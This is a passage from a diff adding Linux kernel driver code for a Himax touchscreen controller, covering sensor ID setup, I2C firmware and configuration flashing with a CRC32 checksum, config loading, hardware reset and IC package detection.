0x01;/* ID pin PULL High,Low */ + i2c_himax_master_write(client, &data[0], 3, DEFAULT_RETRY_CNT); + msleep(20); + + } + else if ((ID0 != 0x04) && (ID1 == 0x04)) + { + data[0] = 0x56; data[1] = 0x01; data[2] = 0x02;/* ID pin PULL Low,High */ + i2c_himax_master_write(client, &data[0], 3, DEFAULT_RETRY_CNT); + msleep(20); + + } + else if ((ID0 == 0x04) && (ID1 == 0x04)) + { + data[0] = 0x56; data[1] = 0x02; data[2] = 0x02;/* ID pin PULL High,High */ + i2c_himax_master_write(client, &data[0], 3, DEFAULT_RETRY_CNT); + msleep(20); + + } + sensor_id = (ID1<<4)|ID0; + + data[0] = 0xF3; data[1] = sensor_id; + i2c_himax_master_write(client, &data[0], 2, DEFAULT_RETRY_CNT);/* Write to MCU */ + msleep(20); + + return sensor_id; + +} +static void himax_power_on_initCMD(struct i2c_client *client) +{ + I("%s:\n", __func__); + /* Sense on to update the information */ + i2c_himax_write_command(client, HX_CMD_TSSON, DEFAULT_RETRY_CNT); + msleep(30); + + i2c_himax_write_command(client, HX_CMD_TSSLPOUT, DEFAULT_RETRY_CNT); + msleep(50); + + i2c_himax_write_command(client, HX_CMD_TSSOFF, DEFAULT_RETRY_CNT); + msleep(50); + + i2c_himax_write_command(client, HX_CMD_TSSLPIN, DEFAULT_RETRY_CNT); + msleep(50); + + himax_touch_information(); + + i2c_himax_write_command(client, HX_CMD_TSSON, DEFAULT_RETRY_CNT); + msleep(30); + + i2c_himax_write_command(client, HX_CMD_TSSLPOUT, DEFAULT_RETRY_CNT); + msleep(50); +} + +#ifdef HX_AUTO_UPDATE_FW +static int i_update_FW(void) +{ + int upgrade_times = 0; + unsigned char *ImageBuffer = i_CTPM_FW; + int fullFileLength = sizeof(i_CTPM_FW); + + I("IMAGE FW_VER=%x,%x.\n", i_CTPM_FW[FW_VER_MAJ_FLASH_ADDR], i_CTPM_FW[FW_VER_MIN_FLASH_ADDR]); + I("IMAGE CFG_VER=%x.\n", i_CTPM_FW[FW_CFG_VER_FLASH_ADDR]); + if ((private_ts->vendor_fw_ver_H < i_CTPM_FW[FW_VER_MAJ_FLASH_ADDR]) + || (private_ts->vendor_fw_ver_L < i_CTPM_FW[FW_VER_MIN_FLASH_ADDR]) + || (private_ts->vendor_config_ver < i_CTPM_FW[FW_CFG_VER_FLASH_ADDR]) + || (himax_calculateChecksum(false) == 0 )) + { +update_retry: +#ifdef HX_RST_PIN_FUNC + himax_HW_reset(false, true); +#endif + if (fts_ctpm_fw_upgrade_with_fs(ImageBuffer,fullFileLength, true) == 0) + { + E("%s: TP upgrade error\n", __func__); + upgrade_times++; + if (upgrade_times < 3) + goto update_retry; + else + return -1; /* upgrade fail */ + } + else + { + I("%s: TP upgrade OK\n", __func__); + private_ts->vendor_fw_ver_H = i_CTPM_FW[FW_VER_MAJ_FLASH_ADDR]; + private_ts->vendor_fw_ver_L = i_CTPM_FW[FW_VER_MIN_FLASH_ADDR]; + private_ts->vendor_config_ver = i_CTPM_FW[FW_CFG_VER_FLASH_ADDR]; + } +#ifdef HX_RST_PIN_FUNC + himax_HW_reset(false, true); +#endif + return 1;/* upgrade success */ + } + else + return 0;/* NO upgrade */ +} +#endif + +#ifdef HX_AUTO_UPDATE_CONFIG +int fts_ctpm_fw_upgrade_with_i_file_flash_cfg(struct himax_config *cfg) +{ + unsigned char *ImageBuffer = i_CTPM_FW;/* NULL ; */ + int fullFileLength = FLASH_SIZE; + + int i, k; + uint8_t cmd[5], last_byte, prePage; + uint8_t tmp[5]; + int FileLength; + int Polynomial = 0x82F63B78; + int CRC32 = 0xFFFFFFFF; + int BinDataWord = 0; + int current_index = 0; + uint8_t checksumResult = 0; + + I(" %s: flash CONFIG only START!\n", __func__); + +#if 0 + /* =========Dump FW image from Flash======== */ + setSysOperation(1); + setFlashCommand(0x0F); + setFlashDumpProgress(0); + setFlashDumpComplete(0); + setFlashDumpFail(0); + queue_work(private_ts->flash_wq, &private_ts->flash_work); + for (i = 0 ; i < 1024 ; i++) + { + if (getFlashDumpComplete()) + { + ImageBuffer = flash_buffer; + fullFileLength = FLASH_SIZE; + I(" %s: Load FW from flash OK! cycle=%d fullFileLength=%x\n", __func__, i, fullFileLength); + break; + } + msleep(20); + } + if (i == 400) + { + E(" %s: Load FW from flash time out fail!\n", __func__); + return 0; + } + /* =================================== */ +#endif + current_index = CFB_START_ADDR + CFB_INFO_LENGTH; + + /* Update the Config Part from config array */ + for (i = 1 ; i < sizeof(cfg->c1)/sizeof(cfg->c1[0]) ; i++) ImageBuffer[current_index++] = cfg->c1[i]; + for (i = 1 ; i < sizeof(cfg->c2)/sizeof(cfg->c2[0]) ; i++) ImageBuffer[current_index++] = cfg->c2[i]; + for (i = 1 ; i < sizeof(cfg->c3)/sizeof(cfg->c3[0]) ; i++) ImageBuffer[current_index++] = cfg->c3[i]; + for (i = 1 ; i < sizeof(cfg->c4)/sizeof(cfg->c4[0]) ; i++) ImageBuffer[current_index++] = cfg->c4[i]; + for (i = 1 ; i < sizeof(cfg->c5)/sizeof(cfg->c5[0]) ; i++) ImageBuffer[current_index++] = cfg->c5[i]; + for (i = 1 ; i < sizeof(cfg->c6)/sizeof(cfg->c6[0]) ; i++) ImageBuffer[current_index++] = cfg->c6[i]; + for (i = 1 ; i < sizeof(cfg->c7)/sizeof(cfg->c7[0]) ; i++) ImageBuffer[current_index++] = cfg->c7[i]; + for (i = 1 ; i < sizeof(cfg->c8)/sizeof(cfg->c8[0]) ; i++) ImageBuffer[current_index++] = cfg->c8[i]; + for (i = 1 ; i < sizeof(cfg->c9)/sizeof(cfg->c9[0]) ; i++) ImageBuffer[current_index++] = cfg->c9[i]; + for (i = 1 ; i < sizeof(cfg->c10)/sizeof(cfg->c10[0]) ; i++) ImageBuffer[current_index++] = cfg->c10[i]; + for (i = 1 ; i < sizeof(cfg->c11)/sizeof(cfg->c11[0]) ; i++) ImageBuffer[current_index++] = cfg->c11[i]; + for (i = 1 ; i < sizeof(cfg->c12)/sizeof(cfg->c12[0]) ; i++) ImageBuffer[current_index++] = cfg->c12[i]; + for (i = 1 ; i < sizeof(cfg->c13)/sizeof(cfg->c13[0]) ; i++) ImageBuffer[current_index++] = cfg->c13[i]; + for (i = 1 ; i < sizeof(cfg->c14)/sizeof(cfg->c14[0]) ; i++) ImageBuffer[current_index++] = cfg->c14[i]; + for (i = 1 ; i < sizeof(cfg->c15)/sizeof(cfg->c15[0]) ; i++) ImageBuffer[current_index++] = cfg->c15[i]; + for (i = 1 ; i < sizeof(cfg->c16)/sizeof(cfg->c16[0]) ; i++) ImageBuffer[current_index++] = cfg->c16[i]; + for (i = 1 ; i < sizeof(cfg->c17)/sizeof(cfg->c17[0]) ; i++) ImageBuffer[current_index++] = cfg->c17[i]; + for (i = 1 ; i < sizeof(cfg->c18)/sizeof(cfg->c18[0]) ; i++) ImageBuffer[current_index++] = cfg->c18[i]; + for (i = 1 ; i < sizeof(cfg->c19)/sizeof(cfg->c19[0]) ; i++) ImageBuffer[current_index++] = cfg->c19[i]; + for (i = 1 ; i < sizeof(cfg->c20)/sizeof(cfg->c20[0]) ; i++) ImageBuffer[current_index++] = cfg->c20[i]; + for (i = 1 ; i < sizeof(cfg->c21)/sizeof(cfg->c21[0]) ; i++) ImageBuffer[current_index++] = cfg->c21[i]; + for (i = 1 ; i < sizeof(cfg->c22)/sizeof(cfg->c22[0]) ; i++) ImageBuffer[current_index++] = cfg->c22[i]; + for (i = 1 ; i < sizeof(cfg->c23)/sizeof(cfg->c23[0]) ; i++) ImageBuffer[current_index++] = cfg->c23[i]; + for (i = 1 ; i < sizeof(cfg->c24)/sizeof(cfg->c24[0]) ; i++) ImageBuffer[current_index++] = cfg->c24[i]; + for (i = 1 ; i < sizeof(cfg->c25)/sizeof(cfg->c25[0]) ; i++) ImageBuffer[current_index++] = cfg->c25[i]; + for (i = 1 ; i < sizeof(cfg->c26)/sizeof(cfg->c26[0]) ; i++) ImageBuffer[current_index++] = cfg->c26[i]; + for (i = 1 ; i < sizeof(cfg->c27)/sizeof(cfg->c27[0]) ; i++) ImageBuffer[current_index++] = cfg->c27[i]; + for (i = 1 ; i < sizeof(cfg->c28)/sizeof(cfg->c28[0]) ; i++) ImageBuffer[current_index++] = cfg->c28[i]; + for (i = 1 ; i < sizeof(cfg->c29)/sizeof(cfg->c29[0]) ; i++) ImageBuffer[current_index++] = cfg->c29[i]; + for (i = 1 ; i < sizeof(cfg->c30)/sizeof(cfg->c30[0]) ; i++) ImageBuffer[current_index++] = cfg->c30[i]; + for (i = 1 ; i < sizeof(cfg->c31)/sizeof(cfg->c31[0]) ; i++) ImageBuffer[current_index++] = cfg->c31[i]; + for (i = 1 ; i < sizeof(cfg->c32)/sizeof(cfg->c32[0]) ; i++) ImageBuffer[current_index++] = cfg->c32[i]; + for (i = 1 ; i < sizeof(cfg->c33)/sizeof(cfg->c33[0]) ; i++) ImageBuffer[current_index++] = cfg->c33[i]; + for (i = 1 ; i < sizeof(cfg->c34)/sizeof(cfg->c34[0]) ; i++) ImageBuffer[current_index++] = cfg->c34[i]; + for (i = 1 ; i < sizeof(cfg->c35)/sizeof(cfg->c35[0]) ; i++) ImageBuffer[current_index++] = cfg->c35[i]; + for (i = 1 ; i < sizeof(cfg->c36)/sizeof(cfg->c36[0]) ; i++) ImageBuffer[current_index++] = cfg->c36[i]; + for (i = 1 ; i < sizeof(cfg->c37)/sizeof(cfg->c37[0]) ; i++) ImageBuffer[current_index++] = cfg->c37[i]; + for (i = 1 ; i < sizeof(cfg->c38)/sizeof(cfg->c38[0]) ; i++) ImageBuffer[current_index++] = cfg->c38[i]; + for (i = 1 ; i < sizeof(cfg->c39)/sizeof(cfg->c39[0]) ; i++) ImageBuffer[current_index++] = cfg->c39[i]; + current_index=current_index+50;/* dummy data */ + /* I(" %s: current_index=%d\n", __func__,current_index); */ + for (i = 1 ; i < sizeof(cfg->c40)/sizeof(cfg->c40[0]) ; i++) ImageBuffer[current_index++] = cfg->c40[i]; + for (i = 1 ; i < sizeof(cfg->c41)/sizeof(cfg->c41[0]) ; i++) ImageBuffer[current_index++] = cfg->c41[i]; + + /* cal_checksum start */ + FileLength = fullFileLength; + FileLength = (FileLength + 3) / 4; + for (i = 0; i < FileLength; i++) + { + memcpy(&cmd[0], &ImageBuffer[4*i], 4); + if (i < (FileLength - 1))/* cal_checksum */ + { + for (k = 0; k < 4; k++) + { + BinDataWord |= cmd[k] << (k * 8); + } + + CRC32 = BinDataWord ^ CRC32; + for (k = 0; k < 32; k++) + { + if ((CRC32 % 2) != 0) + { + CRC32 = ((CRC32 >> 1) & 0x7FFFFFFF) ^ Polynomial; + } + else + { + CRC32 = ((CRC32 >> 1) & 0x7FFFFFFF); + } + } + BinDataWord = 0; + } + } + /* cal_checksum end */ + + FileLength = fullFileLength; + + if (i2c_himax_write(private_ts->client, HX_CMD_TSSLPOUT , &cmd[0], 0, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + msleep(120); + + himax_lock_flash(0); + + himax_ManualMode(1); + himax_FlashMode(1); + + FileLength = (FileLength + 3) / 4; + for (i = 0, prePage = 0; i < FileLength; i++) + { + last_byte = 0; + + if (i < 0x20) + continue; + else if ((i > 0xBF) && (i < (FileLength-0x20))) + continue; + + cmd[0] = i & 0x1F; + if (cmd[0] == 0x1F || i == FileLength - 1) + { + last_byte = 1; + } + cmd[1] = (i >> 5) & 0x1F; + cmd[2] = (i >> 10) & 0x1F; + + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_SET_ADDRESS , &cmd[0], 3, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + /* I(" %s: CMD 44 [0, 1, 2]=[%x,%x,%x]\n", __func__, cmd[0], cmd[1], cmd[2]); */ + if (prePage != cmd[1] || i == 0x20) + { + prePage = cmd[1]; + /* I(" %s: %d page erase\n", __func__,prePage); */ + tmp[0] = 0x01;tmp[1] = 0x09;/* tmp[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &tmp[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + tmp[0] = 0x05;tmp[1] = 0x2D;/* tmp[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &tmp[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + msleep(30); + tmp[0] = 0x01;tmp[1] = 0x09;/* tmp[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &tmp[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_SET_ADDRESS , &cmd[0], 3, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + /* I(" %s: CMD 44-47 [0, 1, 2]=[%x,%x,%x]\n", __func__,cmd[0],cmd[1],cmd[2]); */ + + tmp[0] = 0x01;tmp[1] = 0x09;/* tmp[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &tmp[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + tmp[0] = 0x01;tmp[1] = 0x0D;/* tmp[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &tmp[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + tmp[0] = 0x01;tmp[1] = 0x09;/* tmp[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &tmp[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_SET_ADDRESS , &cmd[0], 3, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + /* I(" %s: CMD 44-45 [0, 1, 2]=[%x,%x,%x]\n", __func__,cmd[0],cmd[1],cmd[2]); */ + /* I(" %s: Erase Page num=%x\n", __func__,prePage); */ + } + + memcpy(&cmd[0], &ImageBuffer[4*i], 4); + + if (i == (FileLength - 1)) + { + tmp[0] = (CRC32 & 0xFF); + tmp[1] = ((CRC32 >> 8) & 0xFF); + tmp[2] = ((CRC32 >> 16) & 0xFF); + tmp[3] = ((CRC32 >> 24) & 0xFF); + + memcpy(&cmd[0], &tmp[0], 4); + I("%s last_byte = 1, CRC32= %x, =[0, 1, 2, 3] = %x,%x,%x,%x \n", __func__, CRC32, tmp[0], tmp[1], tmp[2], tmp[3]); + } + + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_WRITE_REGISTER , &cmd[0], 4, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + /* I(" %s: CMD 48 \n", __func__); */ + cmd[0] = 0x01;cmd[1] = 0x0D;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + cmd[0] = 0x01;cmd[1] = 0x09;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + if (last_byte == 1) + { + cmd[0] = 0x01;cmd[1] = 0x01;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + cmd[0] = 0x01;cmd[1] = 0x05;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + cmd[0] = 0x01;cmd[1] = 0x01;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + cmd[0] = 0x01;cmd[1] = 0x00;//cmd[2] = 0x02; + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E(" %s: i2c access fail!\n", __func__); + return 0; + } + + msleep(20); + if (i == (FileLength - 1)) + { + himax_FlashMode(0); + himax_ManualMode(0); + checksumResult = himax_calculateChecksum(true); + /* himax_ManualMode(0); */ + himax_lock_flash(1); + + I(" %s: flash CONFIG only END!\n", __func__); + if (checksumResult) /* Success */ + { + return 1; + } + else /* Fail */ + { + E("%s: checksumResult fail!\n", __func__); + return 0; + } + } + } + } + + return 0; +} + +static int i_update_FWCFG(struct himax_config *cfg) +{ + int upgrade_times = 0; + + I("%s: CHIP CONFG version=%x\n", __func__,private_ts->vendor_config_ver); + I("%s: LOAD CONFG version=%x\n", __func__,cfg->c40[1]); + + if (private_ts->vendor_config_ver != cfg->c40[1]) + { +update_retry: +#ifdef HX_RST_PIN_FUNC + himax_HW_reset(false, true); +#endif + if (fts_ctpm_fw_upgrade_with_i_file_flash_cfg(cfg) == 0) + { + upgrade_times++; + E("%s: TP upgrade error times=%d\n", __func__, upgrade_times); + if (upgrade_times < 3) + goto update_retry; + } + else + I("%s: TP upgrade OK\n", __func__); +#ifdef HX_RST_PIN_FUNC + himax_HW_reset(false, true); +#endif + return 1; + } + else + return 0; +} + +#endif + +static int himax_loadSensorConfig(struct i2c_client *client, struct himax_i2c_platform_data *pdata) +{ +#if defined(HX_LOADIN_CONFIG) || defined(HX_AUTO_UPDATE_CONFIG) + int rc = 0; +#endif +#ifndef CONFIG_OF +#if defined(HX_LOADIN_CONFIG) || defined(HX_AUTO_UPDATE_CONFIG) + int i = 0; +#endif +#endif +#ifdef HX_ESD_WORKAROUND + char data[12] = {0}; +#endif + + if (!client) { + E("%s: Necessary parameters client are null!\n", __func__); + return -1; + } + + if (config_load == false) + { + config_selected = kzalloc(sizeof(*config_selected), GFP_KERNEL); + if (config_selected == NULL) { + E("%s: alloc config_selected fail!\n", __func__); + return -1; + } + } +#ifndef CONFIG_OF + pdata = client->dev.platform_data; + if (!pdata) { + E("%s: Necessary parameters pdata are null!\n", __func__); + return -1; + } +#endif + +#if defined(HX_LOADIN_CONFIG) || defined(HX_AUTO_UPDATE_CONFIG) +#ifdef CONFIG_OF + /* I("%s, config_selected, %X\n", __func__ ,(uint32_t)config_selected); */ + if (config_load == false) + { + rc = himax_parse_config(private_ts, config_selected); + if (rc < 0) { + E(" DT:cfg table parser FAIL. ret=%d\n", rc); + goto HimaxErr; + } else if (rc == 0) { + if ((private_ts->tw_x_max) && (private_ts->tw_y_max)) + { + pdata->abs_x_min = private_ts->tw_x_min; + pdata->abs_x_max = private_ts->tw_x_max; + pdata->abs_y_min = private_ts->tw_y_min; + pdata->abs_y_max = private_ts->tw_y_max; + I(" DT-%s:config-panel-coords = %d, %d, %d, %d\n", __func__, pdata->abs_x_min, + pdata->abs_x_max, pdata->abs_y_min, pdata->abs_y_max); + } + if ((private_ts->pl_x_max) && (private_ts->pl_y_max)) + { + pdata->screenWidth = private_ts->pl_x_max; + pdata->screenHeight = private_ts->pl_y_max; + I(" DT-%s:config-display-coords = (%d, %d)", __func__, pdata->screenWidth, + pdata->screenHeight); + } + config_load = true; + I(" DT parser Done\n"); + } + } +#else + I("pdata->hx_config_size=%x.\n", (pdata->hx_config_size+1)); + I("config_type_size=%x.\n", sizeof(struct himax_config)); + + if (pdata->hx_config) + { + for (i = 0; i < pdata->hx_config_size/sizeof(struct himax_config); ++i) { + I("(pdata->hx_config)[%x].fw_ver_main=%x.\n", i, (pdata->hx_config)[i].fw_ver_main); + I("(pdata->hx_config)[%x].fw_ver_minor=%x.\n", i, (pdata->hx_config)[i].fw_ver_minor); + I("(pdata->hx_config)[%x].sensor_id=%x.\n", i, (pdata->hx_config)[i].sensor_id); + + if ((private_ts->vendor_fw_ver_H << 8 | private_ts->vendor_fw_ver_L) < + ((pdata->hx_config)[i].fw_ver_main << 8 | (pdata->hx_config)[i].fw_ver_minor)) { + continue; + }else{ + if ((private_ts->vendor_sensor_id == (pdata->hx_config)[i].sensor_id)) { + config_selected = &((pdata->hx_config)[i]); + I("hx_config selected, %X\n", (uint32_t)config_selected); + config_load = true; + break; + } + else if ((pdata->hx_config)[i].default_cfg) { + I("default_cfg detected.\n"); + config_selected = &((pdata->hx_config)[i]); + I("hx_config selected, %X\n", (uint32_t)config_selected); + config_load = true; + break; + } + } + } + } + else + { + E("[HimaxError] %s pdata->hx_config is not exist \n", __func__); + goto HimaxErr; + } +#endif +#endif +#ifdef HX_LOADIN_CONFIG + if (config_selected) { + /* Read config id */ + private_ts->vendor_config_ver = config_selected->c40[1]; + + /* Normal Register c1~c35 */ + i2c_himax_master_write(client, config_selected->c1, sizeof(config_selected->c1), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c2, sizeof(config_selected->c2), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c3, sizeof(config_selected->c3), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c4, sizeof(config_selected->c4), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c5, sizeof(config_selected->c5), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c6, sizeof(config_selected->c6), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c7, sizeof(config_selected->c7), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c8, sizeof(config_selected->c8), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c9, sizeof(config_selected->c9), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c10, sizeof(config_selected->c10), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c11, sizeof(config_selected->c11), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c12, sizeof(config_selected->c12), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c13, sizeof(config_selected->c13), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c14, sizeof(config_selected->c14), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c15, sizeof(config_selected->c15), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c16, sizeof(config_selected->c16), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c17, sizeof(config_selected->c17), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c18, sizeof(config_selected->c18), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c19, sizeof(config_selected->c19), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c20, sizeof(config_selected->c20), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c21, sizeof(config_selected->c21), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c22, sizeof(config_selected->c22), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c23, sizeof(config_selected->c23), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c24, sizeof(config_selected->c24), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c25, sizeof(config_selected->c25), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c26, sizeof(config_selected->c26), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c27, sizeof(config_selected->c27), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c28, sizeof(config_selected->c28), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c29, sizeof(config_selected->c29), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c30, sizeof(config_selected->c30), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c31, sizeof(config_selected->c31), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c32, sizeof(config_selected->c32), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c33, sizeof(config_selected->c33), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c34, sizeof(config_selected->c34), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c35, sizeof(config_selected->c35), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c36, sizeof(config_selected->c36), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c37, sizeof(config_selected->c37), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c38, sizeof(config_selected->c38), DEFAULT_RETRY_CNT); + i2c_himax_master_write(client, config_selected->c39, sizeof(config_selected->c39), DEFAULT_RETRY_CNT); + + /* Config Bank register */ + himax_config_reg_write(client, 0x00, config_selected->c40, sizeof(config_selected->c40), DEFAULT_RETRY_CNT); + himax_config_reg_write(client, 0x9E, config_selected->c41, sizeof(config_selected->c41), DEFAULT_RETRY_CNT); + + msleep(20); + } else { + E("[HimaxError] %s config_selected is null.\n", __func__); + goto HimaxErr; + } +#endif +#ifdef HX_ESD_WORKAROUND + /* Check R36 to check IC Status */ + i2c_himax_read(client, 0x36, data, 2, 10); + if (data[0] != 0x0F || data[1] != 0x53) + { + /* IC is abnormal */ + E("[HimaxError] %s R36 Fail : R36[0]=%d,R36[1]=%d,R36 Counter=%d \n", __func__, data[0], data[1], ESD_R36_FAIL); + return -1; + } +#endif + +#ifdef HX_AUTO_UPDATE_CONFIG + + if (i_update_FWCFG(config_selected) == false) + I("NOT Have new FWCFG=NOT UPDATE=\n"); + else + I("Have new FWCFG=UPDATE=\n"); +#endif + + himax_power_on_initCMD(client); + + I("%s: initialization complete\n", __func__); + + return 1; +#if defined(HX_LOADIN_CONFIG) || defined(HX_AUTO_UPDATE_CONFIG) +HimaxErr: + return -1; +#endif +} + +#ifdef HX_RST_PIN_FUNC +void himax_HW_reset(uint8_t loadconfig,uint8_t int_off) +{ + struct himax_ts_data *ts = private_ts; + int ret = 0; + + HW_RESET_ACTIVATE=1; + + if (ts->rst_gpio) { + if (!int_off) + { + if (ts->use_irq) + himax_int_enable(private_ts->client->irq, 0, true); + else { + hrtimer_cancel(&ts->timer); + ret = cancel_work_sync(&ts->work); + } + } + + I("%s: Now reset the Touch chip.\n", __func__); + + himax_rst_gpio_set(ts->rst_gpio, 0); + msleep(20); + himax_rst_gpio_set(ts->rst_gpio, 1); + msleep(20); + + if (loadconfig) + himax_loadSensorConfig(private_ts->client,private_ts->pdata); + + if (!int_off) + { + if (ts->use_irq) + himax_int_enable(private_ts->client->irq, 1, true); + else + hrtimer_start(&ts->timer, ktime_set(1, 0), HRTIMER_MODE_REL); + } + } +} +#endif + +static u8 himax_read_FW_ver(bool hw_reset) +{ + uint8_t cmd[3]; + + himax_int_enable(private_ts->client->irq, 0, true); + +#ifdef HX_RST_PIN_FUNC + if (hw_reset) { + himax_HW_reset(false, true); + } +#endif + + msleep(120); + if (i2c_himax_read(private_ts->client, HX_VER_FW_MAJ, cmd, 1, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + private_ts->vendor_fw_ver_H = cmd[0]; + if (i2c_himax_read(private_ts->client, HX_VER_FW_MIN, cmd, 1, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + private_ts->vendor_fw_ver_L = cmd[0]; + I("FW_VER : %d,%d \n",private_ts->vendor_fw_ver_H,private_ts->vendor_fw_ver_L); + + if (i2c_himax_read(private_ts->client, HX_VER_FW_CFG, cmd, 1, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + private_ts->vendor_config_ver = cmd[0]; + I("CFG_VER : %d \n",private_ts->vendor_config_ver); + +#ifdef HX_RST_PIN_FUNC + himax_HW_reset(true, true); +#endif + + himax_int_enable(private_ts->client->irq, 1, true); + + return 0; +} + +static bool himax_ic_package_check(struct himax_ts_data *ts) +{ + uint8_t cmd[3]; + + memset(cmd, 0x00, sizeof(cmd)); + + if (i2c_himax_read(ts->client, 0xD1, cmd, 3, DEFAULT_RETRY_CNT) < 0) + return false ; + + if (cmd[0] == 0x05 && cmd[1] == 0x85 && + (cmd[2] == 0x25 || cmd[2] == 0x26 || cmd[2] == 0x27 || cmd[2] == 0x28)) + { + IC_TYPE = HX_85XX_ES_SERIES_PWON; + IC_CHECKSUM = HX_TP_BIN_CHECKSUM_CRC; + //Himax: Set FW and CFG Flash Address + FW_VER_MAJ_FLASH_ADDR = 133; //0x0085 + FW_VER_MAJ_FLASH_LENG = 1;; + FW_VER_MIN_FLASH_ADDR = 134; //0x0086 + FW_VER_MIN_FLASH_LENG = 1; + CFG_VER_MAJ_FLASH_ADDR = 160; //0x00A0 + CFG_VER_MAJ_FLASH_LENG = 12; + CFG_VER_MIN_FLASH_ADDR = 172; //0x00AC + CFG_VER_MIN_FLASH_LENG = 12; + FW_CFG_VER_FLASH_ADDR = 132; //0x0084 +#ifdef HX_AUTO_UPDATE_CONFIG + CFB_START_ADDR = 0x80; + CFB_LENGTH = 638; + CFB_INFO_LENGTH = 68; +#endif + I("Himax IC package 852x ES\n"); + } + else + { + E("Himax IC package 